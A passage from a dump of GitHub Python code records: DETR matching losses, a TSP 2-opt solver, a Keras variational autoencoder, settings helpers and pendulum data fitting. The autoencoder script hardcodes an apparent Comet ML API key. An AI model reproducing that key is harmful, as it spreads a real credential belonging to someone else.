box_starts[box_pruned_id]\n            if npoints_nonchild != 0:\n                ixy[count - 1: count - 1 + npoints_nonchild] = \\\n                        np.arange(point_starts + 1,\n                                  point_starts + 1 + npoints_nonchild)\n            count += npoints_nonchild\n\n    return ixy, ixyse\n","repo_name":"isuruf/boxtree.fmm3d","sub_path":"boxtree/fmm3d/treeinfo.py","file_name":"treeinfo.py","file_ext":"py","file_size_in_byte":12594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17788179148","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.ops.boxes import box_area\nfrom scipy.optimize import linear_sum_assignment\n\ndef box_cxcywh_to_xyxy(x):\n    x_c, y_c, w, h = x.unbind(-1)\n    b = [(x_c - 0.5 * w), (y_c - 0.5 * h),\n         (x_c + 0.5 * w), (y_c + 0.5 * h)]\n    return torch.stack(b, dim=-1)\n\ndef box_iou(boxes1, boxes2):\n    area1 = box_area(boxes1)\n    area2 = box_area(boxes2)\n\n    lt = torch.max(boxes1[:, None, :2], boxes2[:, :2])  # [N,M,2]\n    rb = torch.min(boxes1[:, None, 2:], boxes2[:, 2:])  # [N,M,2]\n\n    wh = (rb - lt).clamp(min=0)  # [N,M,2]\n    inter = wh[:, :, 0] * wh[:, :, 1]  # [N,M]\n\n    union = area1[:, None] + area2 - inter\n\n    iou = inter / union\n    return iou, union\n\nclass HungarianMatcher(nn.Module):\n    def __init__(self, cost_class: float = 1, cost_bbox: float = 1, cost_giou: float = 1):\n        super().__init__()\n        self.cost_class = cost_class  # 1\n        self.cost_bbox = cost_bbox  # 5\n        self.cost_giou = cost_giou  # 2\n        assert cost_class != 0 or cost_bbox != 0 or cost_giou != 0, \"all costs cant be 0\"\n \n    @torch.no_grad()\n    def forward(self, outputs, targets):\n        bs, num_queries = outputs[\"pred_logits\"].shape[:2]\n \n        out_prob = outputs[\"pred_logits\"].flatten(0, 1).softmax(-1)  # [batch_size * num_queries, num_classes]\n        out_bbox = outputs[\"pred_boxes\"].flatten(0, 1)  # [batch_size * num_queries, 4]\n \n        tgt_ids = torch.cat([v[\"labels\"] for v in targets])\n        tgt_bbox = torch.cat([v[\"boxes\"] for v in targets])\n \n        cost_class = -out_prob[:, tgt_ids]\n        cost_bbox = torch.cdist(out_bbox, tgt_bbox, p=1)\n        cost_giou = -generalized_box_iou(box_cxcywh_to_xyxy(out_bbox), box_cxcywh_to_xyxy(tgt_bbox))\n \n        C = self.cost_bbox * cost_bbox + self.cost_class * cost_class + self.cost_giou * cost_giou\n        C = C.view(bs, num_queries, -1).cpu()\n        \n        sizes = [len(v[\"boxes\"]) for v in targets]\n        indices = [linear_sum_assignment(c[i]) for i, c in enumerate(C.split(sizes, -1))]\n        return [(torch.as_tensor(i, dtype=torch.int64), torch.as_tensor(j, dtype=torch.int64)) for i, j in indices]\n\n\ndef generalized_box_iou(boxes1, boxes2):\n    \"\"\"\n    Generalized IoU from https://giou.stanford.edu/\n    The boxes should be in [x0, y0, x1, y1] format\n    Returns a [N, M] pairwise matrix, where N = len(boxes1)\n    and M = len(boxes2)\n    \"\"\"\n    # degenerate boxes gives inf / nan results\n    # so do an early check\n    assert (boxes1[:, 2:] >= boxes1[:, :2]).all()\n    assert (boxes2[:, 2:] >= boxes2[:, :2]).all()\n    iou, union = box_iou(boxes1, boxes2)\n\n    lt = torch.min(boxes1[:, None, :2], boxes2[:, :2])\n    rb = torch.max(boxes1[:, None, 2:], boxes2[:, 2:])\n\n    wh = (rb - lt).clamp(min=0)  # [N,M,2]\n    area = wh[:, :, 0] * wh[:, :, 1]\n\n    return iou - (area - union) / area\n\nclass SetCriterion(nn.Module):\n    \"\"\" This class computes the loss for DETR.\n    The process happens in two steps:\n        1) we compute hungarian assignment between ground truth boxes and the outputs of the model\n        2) we supervise each pair of matched ground-truth / prediction (supervise class and box)\n    \"\"\"\n    def __init__(self, num_classes, matcher, weight_dict, coef, losses):\n        \"\"\" Create the criterion.\n        Parameters:\n            num_classes: number of object categories, omitting the special no-object category\n            matcher: module able to compute a matching between targets and proposals\n            weight_dict: dict containing as key the names of the losses and as values their relative weight.\n            eos_coef: relative classification weight applied to the no-object category\n            losses: list of all the losses to be applied. See get_loss for list of available losses.\n        \"\"\"\n        super().__init__()\n        self.num_classes = num_classes\n        self.matcher = matcher\n        self.weight_dict = weight_dict\n        self.eos_coef = coef[0]\n        self.losses = losses\n        empty_weight = torch.tensor(coef)\n        self.register_buffer('empty_weight', empty_weight)\n\n    def loss_labels(self, outputs, targets, indices, num_boxes):\n        \"\"\"Classification loss (NLL)\n        targets dicts must contain the key \"labels\" containing a tensor of dim [nb_target_boxes]\n        \"\"\"\n        assert 'pred_logits' in outputs\n        src_logits = outputs['pred_logits']\n\n        idx = self._get_src_permutation_idx(indices)\n        target_classes_o = torch.cat([t[\"labels\"][J] for t, (_, J) in zip(targets, indices)])\n        target_classes = torch.full(src_logits.shape[:2], self.num_classes,\n                                    dtype=torch.int64, device=src_logits.device)\n        target_classes[idx] = target_classes_o\n\n        loss_ce = F.cross_entropy(src_logits.transpose(1, 2), target_classes, self.empty_weight)\n        losses = {'loss_ce': loss_ce}\n\n        return losses\n\n    def loss_boxes(self, outputs, targets, indices, num_boxes):\n        \"\"\"Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss\n           targets dicts must contain the key \"boxes\" containing a tensor of dim [nb_target_boxes, 4]\n           The target boxes are expected in format (center_x, center_y, w, h), normalized by the image size.\n        \"\"\"\n        assert 'pred_boxes' in outputs\n        idx = self._get_src_permutation_idx(indices)\n        src_boxes = outputs['pred_boxes'][idx]\n        target_boxes = torch.cat([t['boxes'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n\n        loss_bbox = F.l1_loss(src_boxes, target_boxes, reduction='none')\n\n        losses = {}\n        losses['loss_bbox'] = loss_bbox.sum() / num_boxes\n\n        loss_giou = 1 - torch.diag(generalized_box_iou(\n            box_cxcywh_to_xyxy(src_boxes),\n            box_cxcywh_to_xyxy(target_boxes)))\n        losses['loss_giou'] = loss_giou.sum() / num_boxes\n        return losses\n\n    def _get_src_permutation_idx(self, indices):\n        # permute predictions following indices\n        batch_idx = torch.cat([torch.full_like(src, i) for i, (src, _) in enumerate(indices)])\n        src_idx = torch.cat([src for (src, _) in indices])\n        return batch_idx, src_idx\n\n    def _get_tgt_permutation_idx(self, indices):\n        # permute targets following indices\n        batch_idx = torch.cat([torch.full_like(tgt, i) for i, (_, tgt) in enumerate(indices)])\n        tgt_idx = torch.cat([tgt for (_, tgt) in indices])\n        return batch_idx, tgt_idx\n\n    def get_loss(self, loss, outputs, targets, indices, num_boxes, **kwargs):\n        loss_map = {\n            'labels': self.loss_labels,\n            'boxes': self.loss_boxes,\n        }\n        assert loss in loss_map, f'do you really want to compute {loss} loss?'\n        return loss_map[loss](outputs, targets, indices, num_boxes, **kwargs)\n\n    def forward(self, outputs, targets):\n        \"\"\" This performs the loss computation.\n        Parameters:\n             outputs: dict of tensors, see the output specification of the model for the format\n             targets: list of dicts, such that len(targets) == batch_size.\n                      The expected keys in each dict depends on the losses applied, see each loss' doc\n        \"\"\"\n        outputs_without_aux = {k: v for k, v in outputs.items() if k != 'aux_outputs'}\n\n        # Retrieve the matching between the outputs of the last layer and the targets\n        indices = self.matcher(outputs_without_aux, targets)\n\n        # Compute the average number of target boxes accross all nodes, for normalization purposes\n        num_boxes = sum(len(t[\"labels\"]) for t in targets)\n        num_boxes = torch.as_tensor([num_boxes], dtype=torch.float, device=next(iter(outputs.values())).device)\n        num_boxes = torch.clamp(num_boxes, min=1).item()\n\n        # Compute all the requested losses\n        losses = {}\n        for loss in self.losses:\n            losses.update(self.get_loss(loss, outputs, targets, indices, num_boxes))\n\n        # In case of auxiliary losses, we repeat this process with the output of each intermediate layer.\n        if 'aux_outputs' in outputs:\n            for i, aux_outputs in enumerate(outputs['aux_outputs']):\n                indices = self.matcher(aux_outputs, targets)\n                for loss in self.losses:\n                    if loss == 'masks':\n                        # Intermediate masks losses are too costly to compute, we ignore them.\n                        continue\n                    kwargs = {}\n                    if loss == 'labels':\n                        # Logging is enabled only for the last layer\n                        kwargs = {'log': False}\n                    l_dict = self.get_loss(loss, aux_outputs, targets, indices, num_boxes, **kwargs)\n                    l_dict = {k + f'_{i}': v for k, v in l_dict.items()}\n                    losses.update(l_dict)\n\n        return losses","repo_name":"PKU-ICST-MIPL/PosterLayout-CVPR2023","sub_path":"RecLoss.py","file_name":"RecLoss.py","file_ext":"py","file_size_in_byte":8924,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"16"}
+{"seq_id":"27194253724","text":"import sys\nfrom pylint import lint\n\nTHRESHOLD = 9\n\nargs = []\nargs.append(\"--output-format=colorized\")\nargs.append(\"--load-plugins=pylint_django\")\nargs.append(sys.argv[1])\nrun = lint.Run(args, do_exit=True)\nscore = run.linter.stats['global_note']\n\nif score < THRESHOLD:\n    print(\"The code score is below the threshold. Please fix the issues and re-build.\")\n    sys.exit(1)\n","repo_name":"arpan29/mew","sub_path":"mew/core/linter.py","file_name":"linter.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16535591498","text":"#!/usr/bin/env python3\n\nimport sys\n\nfrom common import print_tour, read_input, distance, total_distance\n\n\ndef solver_greedy(cities, current_city):\n    N = len(cities)\n\n    dist = [[0] * N for i in range(N)]\n    for i in range(N):\n        for j in range(i, N):\n            dist[i][j] = dist[j][i] = distance(cities[i], cities[j])\n\n    #current_city = 0\n    unvisited_cities = set(range(0, N))\n    unvisited_cities.remove(current_city)\n    tour = [current_city]\n\n    while unvisited_cities:\n        next_city = min(unvisited_cities,\n                        key=lambda city: dist[current_city][city])\n        unvisited_cities.remove(next_city)\n        tour.append(next_city)\n        current_city = next_city\n    return tour\n\n\ndef two_opt(tour, cities):\n    tour.append(tour[0])  #処理しやすい\n\n    while True:    #最初は1回だけループしたが、結果全然大きかったし交差点もいつくあった、多分何回もループして全ての交差点が消される\n        count = 0\n        for i in range(len(tour) - 3):\n            for j in range(i + 2, len(tour) - 1):\n                #0->1->2->3のような経路は0->2->1->3に変換する\n                #0->1と2->3の距離の和 と 0->2と1->3の距離の和 を比較する\n                dis1 = distance(cities[tour[i]], cities[tour[i + 1]]) + distance(cities[tour[j]], cities[tour[j + 1]])  #交換前の距離\n                dis2 = distance(cities[tour[i]], cities[tour[j]]) + distance(cities[tour[i + 1]], cities[tour[j + 1]])  #交換後の距離\n                if dis2 < dis1:   #交換後の距離が小さいなら、交換する\n                    temp = tour[i + 1:j + 1]\n                    tour[i + 1:j + 1] = temp[::-1]\n                    count += 1\n        if count == 0:        #交換が発生しなかった = 交差点はもうない\n            break\n\n    tour.pop()  #最初appendしたのでここでpop\n    return tour\n\n\nif __name__ == '__main__':\n    assert len(sys.argv) > 1\n    cities = read_input(sys.argv[1])\n    min_distance = 100000000\n    if len(cities) > 500:\n        for current_city in range(0, len(cities), 100):   #意味のないbrute forceです\n            print(current_city)\n            tour = solver_greedy(cities, current_city)\n            new_tour = two_opt(tour, cities)\n            t_d = total_distance(new_tour, cities)\n            min_distance = min(min_distance, t_d)\n        print(min_distance)\n    else:\n        for current_city in range(len(cities)):    #brute forceです ^_^\n            tour = solver_greedy(cities, current_city)\n            new_tour = two_opt(tour, cities)\n            t_d = total_distance(new_tour, cities)\n            min_distance = min(min_distance, t_d)\n        print(min_distance)\n","repo_name":"pistachiochoco/STEP-development-course-2022","sub_path":"STEP_Week5/google-step-tsp-main/solver_2-opt.py","file_name":"solver_2-opt.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28206923058","text":"from autoencode import Autoencoder\nfrom keras.engine.topology import Layer\n\nfrom comet_ml import Experiment\nimport keras.layers as kl\nimport keras.models as km\nimport keras.regularizers as kr\nimport keras.optimizers as ko\nimport keras.callbacks as kc\n\nfrom keras import backend as K\nimport keras\n\nimport pandas as pd\nfrom sklearn.decomposition import PCA\nfrom pprint import pprint\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import GroupKFold\nfrom sklearn.metrics.scorer import make_scorer\nfrom sklearn.model_selection import cross_validate\n\nfrom sklearn.pipeline import make_pipeline, Pipeline\n\nfrom sklearn.base import clone\n\nimport numpy as np\nimport seaborn as sns\n\nfrom log_utils import plot_mean_std_loss, GroupedCometLogger\nfrom data_reader import DataReader\nfrom sys import argv\n\nimport json\nfrom pprint import pprint\n\nfrom autoencoder_layers import KLDivergenceLayer\n\n\ndef nll(y_true, y_pred):\n    return K.sum(K.binary_crossentropy(y_true, y_pred), axis=-1)\n\nclass VariationalAutoencoder(Autoencoder):\n\n    def __init__(self, encoder_params, decoder_params, input_shape,\n                 latent_shape, optimizer_params=None, loss=None):\n        \"\"\" \"\"\"\n        self._input_params = {k: v for k, v in locals().items() if k != 'self'}\n\n        if loss is None:\n            loss = nll\n\n        self._build(encoder_params, decoder_params, input_shape,\n                    latent_shape, optimizer_params=optimizer_params, loss=loss)\n\n    def _sample_z(self, z_mu, z_sigma, shape):\n        eps = kl.Input(tensor=K.random_normal(shape=shape))\n\n        z_eps = kl.Multiply()([z_sigma, eps])\n        z = kl.Add()([z_mu, z_eps])\n        return z, eps\n\n    def _create_variational_parameters(self, h, latent_dim):\n        z_mu = kl.Dense(latent_dim)(h)\n        z_log_var = kl.Dense(latent_dim)(h)\n\n        z_mu, z_log_var = KLDivergenceLayer()([z_mu, z_log_var])\n        z_sigma = kl.Lambda(lambda t: K.exp(.5*t))(z_log_var)\n        return z_mu, z_sigma\n    \n    def _create_autoencoder(self, encoder_config, decoder_config,\n                           input_shape, latent_shape):\n        \"\"\"Creates a variational autoencoder model from dicts containing the parameters\"\"\"\n        encoder, encoder_input, encoder_layers = self._create_model(encoder_config, input_shape)\n        decoder, decoder_input, decoder_layers = self._create_model(decoder_config, latent_shape)\n\n        z_mu, z_sigma = self._create_variational_parameters(encoder.output, latent_shape[0])\n        z, eps = self._sample_z(z_mu, z_sigma, shape=(K.shape(encoder_input)[0], latent_shape[0]))\n\n        vae = km.Model(inputs=[encoder_input, eps], name=\"variational autoencoder\", outputs=decoder(z))\n        return encoder, decoder, vae\n\nif __name__== \"__main__\":\n    filenames = [\"X1_train.csv\", \"X2_train.csv\", \"X3_train.csv\"]\n    \n    data_reader = DataReader(data_set_filenames=filenames, groups_filename=\"ID_train.csv\")\n    data = data_reader.combined_data\n\n    if len(argv) > 1:\n        config_filename = argv[1]\n        with open(config_filename) as f:\n            config = json.load(f)\n            latent_dim = config[\"encoder\"][-1][\"kwargs\"][\"units\"]\n    else:\n        latent_dim = 100    \n        config = {\n            \"encoder\": [\n                {\n                    \"name\": \"hidden1\",\n                    \"type\": \"Dense\",\n                    \"kwargs\": {\n                        \"units\": 250,\n                        \"activation\": \"relu\"\n                    },\n                    \"regularizer\": {\n                        \"type\": \"l1\",\n                        \"value\": 1e-3\n                    }\n                },            {\n                    \"name\": \"batchnorm1\",\n                    \"type\": \"BatchNormalization\"\n                },\n                {\n                    \"name\": \"hidden2\",\n                    \"type\": \"Dense\",\n                    \"kwargs\": {\n                        \"units\": 200,\n                        \"activation\": \"relu\"\n                    },\n                    \"regularizer\": {\n                        \"type\": \"l1\",\n                        \"value\": 1e-3\n                    }\n                },            {\n                    \"name\": \"batchnorm2\",\n                    \"type\": \"BatchNormalization\"\n                },\n                {\n                    \"name\": \"latent\",\n                    \"type\": \"Dense\",\n\n                    \"regularizer\": {\n                        \"type\": \"l1\",\n                        \"value\": 1e-3\n                    }\n                }\n            ]\n        }\n        config_filename = None\n\n    input_shape = (data.shape[1],)\n    latent_shape = (latent_dim,)\n\n\n    ae = VariationalAutoencoder(config[\"encoder\"],\n                     None,\n                     input_shape=input_shape,\n                     latent_shape=latent_shape,\n                     optimizer_params=None)\n\n    groups = data_reader.groups\n\n    experiment = Experiment(project_name=\"variational autoencoder\", api_key=\"50kNmWUHJrWHz3FlgtpITIsB1\")\n    experiment.log_parameter(\"Experiment name\", \"Testing different architectures\")\n    experiment.log_parameter(\"Architecture file name\", config_filename)\n    experiment.log_multiple_params(config)\n    experiment.log_parameter(\"Latent dim\", latent_shape[0])\n\n    ae.summary()\n\n    scores = ae.cross_validate(data, groups, experiment=experiment, epochs=10000, n_splits=4, callbacks = [kc.EarlyStopping(monitor=\"val_loss\", min_delta=0.000001, patience=10)])\n\n    #ae.save(\"saved_model.h5\")\n\n    experiment.log_other(\"scores\", scores)\n\n    print(scores)\n","repo_name":"MarieRoald/summer_2018","sub_path":"notebooks/variational_autoencode.py","file_name":"variational_autoencode.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6448199101","text":"from lib.json import loads, dumps\r\n\r\nclass Vars:\r\n    def init(self):\r\n        self.dirr = \"files\\\\saves\\\\\"\r\n        self.settings = self.LoadFile(\"settings\")\r\n\r\n    def savePatern(self, paternIndex):\r\n        paterns=[\r\n            # Settings patern\r\n            loads(\"\"\"{}\"default\": {}, \"custom\": {} {}\"\"\".format(\r\n            \"{\", \r\n            dumps(self.settings[\"default\"]), \r\n            dumps(self.settings[\"custom\"]), \r\n            \"}\"\r\n            ))\r\n        ]\r\n        return paterns[paternIndex]\r\n\r\n    def SaveFile(self, fileName, content, append=False):\r\n        if append: type = \"at\"\r\n        else: type = \"wt\"\r\n        \r\n        with open(self.dirr+fileName+\".json\",type) as fileID:\r\n            fileID.write(dumps(content, indent=2))\r\n        fileID.close()\r\n        return self.LoadFile(fileName)\r\n\r\n    def LoadFile(self, fileName): \r\n        with open(self.dirr+fileName+\".json\", \"rt\") as fileID:\r\n            content = loads(fileID.read())\r\n        fileID.close()\r\n        return content\r\n\r\n    def CreateSettings(self): \r\n        self.settings[\"custom\"] = self.settings[\"default\"]\r\n        self.settings = self.SaveFile(\"settings\", self.savePatern(0))\r\n        return self.settings\r\n \r\n    def SaveSetting(self, item, value):\r\n        try: self.settings[\"custom\"][item] = value\r\n        except KeyError: self.settings[\"custom\"].update({str(item): value})\r\n        self.SaveFile(\"settings\", self.savePatern(0))\r\n\r\n    def SaveSettingAll(self, args):\r\n        self.settings[\"custom\"].update(args)\r\n        self.SaveFile(\"settings\", self.savePatern(0))\r\n\r\n    def GetSetting(self, item):\r\n        try: return self.settings[\"custom\"][item]\r\n        except KeyError: raise KeyError(\"the key '{}' doesn't exist\".format(item))\r\n\r\nVars=Vars()\r\n","repo_name":"ZetaMap/Main-box","sub_path":"files/Vars.py","file_name":"Vars.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40707611298","text":"import numpy as np\n\n\ndef calculate(ls):\n\n    if len(ls) < 9:\n        raise ValueError(\"List must contain nine numbers.\")\n\n    mat = np.array(ls).reshape(3, 3)\n\n    mean = [np.mean(mat, axis=0).tolist(), np.mean(mat, axis=1).tolist(), np.mean(mat.flatten())]\n    variance = [np.var(mat, axis=0).tolist(), np.var(mat, axis=1).tolist(), np.var(mat.flatten())]\n    std = [np.std(mat, axis=0).tolist(), np.std(mat, axis=1).tolist(), np.std(mat.flatten())]\n    maxi = [np.max(mat, axis=0).tolist(), np.max(mat, axis=1).tolist(), np.max(mat.flatten())]\n    mini = [np.min(mat, axis=0).tolist(), np.min(mat, axis=1).tolist(), np.min(mat.flatten())]\n    sumi = [np.sum(mat, axis=0).tolist(), np.sum(mat, axis=1).tolist(), np.sum(mat.flatten())]\n\n    calculations = {\"mean\": mean,\n                    \"variance\": variance,\n                    \"standard deviation\": std,\n                    \"max\": maxi,\n                    \"min\": mini,\n                    \"sum\": sumi\n                    }\n\n    return calculations\n\n\n\n","repo_name":"DenysIvanilov/FCC-Projects","sub_path":"Data Analysis Course/mean-var-std(numpy).py","file_name":"mean-var-std(numpy).py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"20914109876","text":"import project\nfrom src.load.load_char_lm import load_char_lm\n\n\nif __name__ == \"__main__\":\n    model = load_char_lm(model_type=\"fwd\",\n                         model_name=\"fwd1024\")\n    print(model)\n    #sequence = \"This is a test.\"\n    sequence = \"H\"\n    result = model.predict(sequence)\n    probabilities = result[\"probabilities\"]\n    print(len(sequence))\n    print(len(result[\"predictions\"]))\n    print(probabilities.shape)\n\n    state = model.model.initial_state()\n    encoded = model.get_encoder().encode_sequence(sequence)\n    for i, x in enumerate(encoded):\n        if i > 0:\n            symbol = model.get_encoder().decode_label(x)\n            print(symbol, state[\"probabilities\"][x])\n        state = model.model.step(state, x)\n        print(state[\"cell_state\"][\"state.0.c\"][0][:100])\n        print(state[\"cell_state\"][\"state.0.h\"][0][:100])\n","repo_name":"ad-freiburg/tokenization-repair","sub_path":"scripts-old/test_stepwise.py","file_name":"test_stepwise.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"33096170401","text":"class Human:\r\n    color='pink'\r\n    name='ogre'\r\n    height=6.1\r\n    def run(self):\r\n        print('Human running....')\r\n    def walk(self):\r\n        print('Human walking....')\r\n\r\nobj=Human()\r\nprint(obj.color,obj.name,obj.height)\r\nobj.run()\r\nobj.walk()\r\n\r\n'''\r\n= RESTART: C:/Users/Amazonian/Desktop/ps/OOP-Python/Classes.py\r\npink ogre 6.1\r\nHuman running....\r\nHuman walking....\r\n'''\r\n","repo_name":"shaikbabasaheb/python_programming","sub_path":"Python_Object_Oriented_Programming/Classes.py","file_name":"Classes.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21428047738","text":"import matplotlib.pyplot as plt\nfrom matplotlib import rc\n\nfont = {'family': 'DejaVu Sans',\n        'weight': 'normal',\n        'size': 22}\nrc('font', **font)\nimport numpy as np\n\nimport data_loader\nimport fit_models\nimport fitting\nimport fitting_and_analysis\nOutput = fitting_and_analysis.Output()\n\n\ndef run_main(filename, show=False, save=False):\n    data = data_loader.DataLoader(filename)\n    model = fit_models.DecayingSinusoid()\n\n    units_for_parameters = ('rad', 'rad', 's', 'rad', 's$^{-1}$')\n\n    try:\n        fit = fitting.Fitting(model=model, x=data.x, x_error=data.x_error, y_measured=data.y, y_error=data.y_error,\n                              units_for_parameters=units_for_parameters, p0=(0, 100, 1, 1, 0.02))\n    except RuntimeError:\n        fit = fitting.Fitting(model=model, x=data.x, x_error=data.x_error, y_measured=data.y, y_error=data.y_error,\n                              units_for_parameters=units_for_parameters, p0=(0, 100, 1, -1, 0.02))\n\n    fig, ax = plt.subplots(1, 1, figsize=(16, 9))\n\n    fit.scatter_plot_data_and_fit(ax)\n\n    ax.set_title(filename)\n    ax.grid(visible=True, which='both')\n    ax.set_ylabel(r'$\\theta$ / rad')\n    ax.set_xlabel('time / s')\n\n    if save:\n        fig.savefig('fits/' + filename + '.png')\n    if show:\n        fig.show()\n\n    plt.close()\n\n    residual_fig, residual_ax = plt.subplots(1, 1, figsize=(16, 9))\n\n    fit.plot_residuals(residual_ax)\n\n    residual_ax.set_title(filename + ' residuals')\n    residual_ax.grid(visible=True, which='both')\n    residual_ax.set_ylabel(r'$\\theta$ / rad')\n    residual_ax.set_xlabel('time / s')\n\n    if save:\n        residual_fig.savefig('fits/' + filename + '_residuals.png')\n    if show:\n        residual_fig.show()\n\n    plt.close()\n\n    param_names = ('B', 'A', 'T', r'$\\phi_0$', r'$\\frac{1}{\\tau}$')\n\n    for i in range(len(fit.popt)):\n        print(fit.fitted_function.parameter_names[i], '=', Output.print_with_uncertainty(fit.popt[i], fit.parameter_errors[i]), end='\\t \\t')\n    print()\n    print()\n\n    return (fit.popt, fit.parameter_errors, data.l, data.l_error, data.m, data.m_error)\n\n\n\ndef single_run_main(filename):\n    run_main(filename, show=True, save=True)\n\ndef run_main_from_dict(filenames):\n    params = []\n    param_errors = []\n\n    lengths = []\n    length_errors = []\n\n    masses = []\n    mass_errors = []\n\n\n    for filename in filenames.values():\n        print(filename)\n        (param, param_error, l, l_error, m, m_error) = run_main(filename, show=False, save=True)\n\n        params.append(param)\n        param_errors.append(param_error)\n\n        lengths.append(l)\n        length_errors.append(l_error)\n\n        masses.append(m)\n        mass_errors.append(m_error)\n\n\n    params = np.array(params)\n    param_errors = np.array(param_errors)\n\n    lengths = np.array(lengths)\n    length_errors = np.array(length_errors)\n\n    masses = np.array(masses)\n    mass_errors = np.array(mass_errors)\n\n    folder = 'pendulum_data/'\n\n    np.savetxt(folder + '/params.txt', params)\n    np.savetxt(folder + '/param_errors.txt', param_errors)\n\n    np.savetxt(folder + '/lengths.txt', lengths)\n    np.savetxt(folder + '/length_errors.txt', length_errors)\n\n    np.savetxt(folder + '/masses.txt', masses)\n    np.savetxt(folder + '/mass_errors.txt', mass_errors)\n\n\n\n\n\n\nvary_angle_filenames = {angle : 'vary_angle_%s' % angle for angle in ['20deg', '40deg', '60deg', '80deg']}\nvary_l_filenames = {l : 'vary_l_%s' % l for l in ['15cm', '20cm', '25cm', '30cm', '35cm']}\nvary_m_filenames = {m : 'vary_m_%s' % m for m in ['50g', '100g', '150g', '200g']}\n\n\nall_filenames = {**vary_angle_filenames, **vary_l_filenames, **vary_m_filenames}\n\n\n# filename = all_filenames['20deg']\n# single_run_main(filename)\n\n# run_main_from_dict(all_filenames)\n\n\nfrom property_plots import *\n\n# param_names = ('B', 'A', 'T', r'$\\phi_0$', r'$\\frac{1}{\\tau}$')\n\nparams = np.loadtxt('pendulum_data/params.txt')\nparam_errors = np.loadtxt('pendulum_data/param_errors.txt')\n\nlengths = np.loadtxt('pendulum_data/lengths.txt')\nlength_errors = np.loadtxt('pendulum_data/length_errors.txt')\n\nmasses = np.loadtxt('pendulum_data/masses.txt')\nmass_errors = np.loadtxt('pendulum_data/mass_errors.txt')\n\nphi_0s = [param[3] for param in params]\nphi_0_errors = [param_error[3] for param_error in param_errors]\n\nphi_0s = np.array(phi_0s)\nphi_0_errors = np.array(phi_0_errors)\n\n\nproperty_plot(2, xs=np.loadtxt('pendulum_data/lengths.txt'), x_errors=np.loadtxt('pendulum_data/length_errors.txt'),\n              model=fit_models.PeriodVSLength(),\n              title='Period vs pendulum length', ylabel=r'period / s', xlabel='L / m',\n              save_filename = 'T_vs_L', extra_filter=(masses == 1.000000000000000056e-01), units_for_parameters=(r's m$^{1/2}$',))\n\nproperty_plot(2, xs=np.loadtxt('pendulum_data/masses.txt'), x_errors=np.loadtxt('pendulum_data/mass_errors.txt'),\n              model=fit_models.Constant(),\n              title='Period vs pendulum mass', ylabel=r'T / s', xlabel='M / kg',\n              save_filename = 'T_vs_M',extra_filter=(lengths == 0.27), units_for_parameters=('s',))\n\nproperty_plot(4, xs=np.loadtxt('pendulum_data/lengths.txt'), x_errors=np.loadtxt('pendulum_data/length_errors.txt'),\n              model=fit_models.InverseProportional(),\n              title='Inverse decay constant vs pendulum length', ylabel=r'$\\frac{1}{\\tau}$ / s', xlabel='L + D / m',\n              save_filename = 'oneovertau_vs_L', extra_filter=(masses == 1.000000000000000056e-01), units_for_parameters=(r's$^{-1}$',))\n\nproperty_plot(4, xs=np.loadtxt('pendulum_data/masses.txt'), x_errors=np.loadtxt('pendulum_data/mass_errors.txt'),\n              model=fit_models.Quadratic(),\n              title='Inverse decay constant vs pendulum mass', ylabel=r'$\\frac{1}{\\tau}$ / s', xlabel='M / kg',\n              save_filename = 'oneovertau_vs_M', extra_filter=(lengths == 0.27), units_for_parameters=('s kg$^{-2}$', 's kg$^{-1}$', 's'))\n\nphi_0_filter = (lengths == 0.27) & (masses == 1.000000000000000056e-01)\n\nproperty_plot(2, xs=phi_0s, x_errors=phi_0_errors,\n              model=fit_models.Constant(),\n              title='Period vs initial angle', ylabel=r'T / s', xlabel=r'$\\phi_0$ / rad',\n              save_filename = 'T_vs_phi_0', extra_filter=phi_0_filter, units_for_parameters=('s$^{-1}$'))\n\nproperty_plot(2, xs=phi_0s, x_errors=phi_0_errors,\n              model=fit_models.Linear(),\n              title='Period vs initial angle', ylabel=r'T / s', xlabel=r'$\\phi_0$ / rad',\n              save_filename = 'T_vs_phi_0_linear', extra_filter=phi_0_filter, units_for_parameters=('s$^{-1}$ rad$^{-1}$', 's$^{-1}$'))\n\nproperty_plot(4, xs=phi_0s, x_errors=phi_0_errors,\n              model=fit_models.Linear(),\n              title='Inverse decay constant vs initial angle', ylabel=r'$\\frac{1}{\\tau}$ / s', xlabel=r'$\\phi_0$ / rad',\n              save_filename = 'oneovertau_vs_phi_0', extra_filter=phi_0_filter,units_for_parameters=('s$^{-1}$ rad$^{-1}$', 's$^{-1}$'))","repo_name":"kyleyhw/PHY324_Pendulum_Project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
